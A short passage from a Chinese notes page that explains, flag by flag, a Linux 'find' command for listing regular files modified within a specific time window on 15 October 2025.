"2025-10-15 20:00" -a -not -newermt "2025-10-15 20:58" 2>/dev/null ``` ```txt find / -type f -newermt "2025-10-15 20:00" -a -not -newermt "2025-10-15 20:58" 2>/dev/null #分析 find / 从根目录(/)开始递归查找文件(遍历整个系统) -type f:仅查找普通文件(排除目录、软链接、设备文件等) -newermt:用于按照修改时间,mt 即 modification time -a:and,逻辑与 -not;否定 -not -newermt:修改时间不晚于 2>/dev/null:将错误的输出重定向到/dev/null(黑洞),避免屏幕被大量错误信息刷屏。 ```
毛林
2025年10月16日 00:17
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码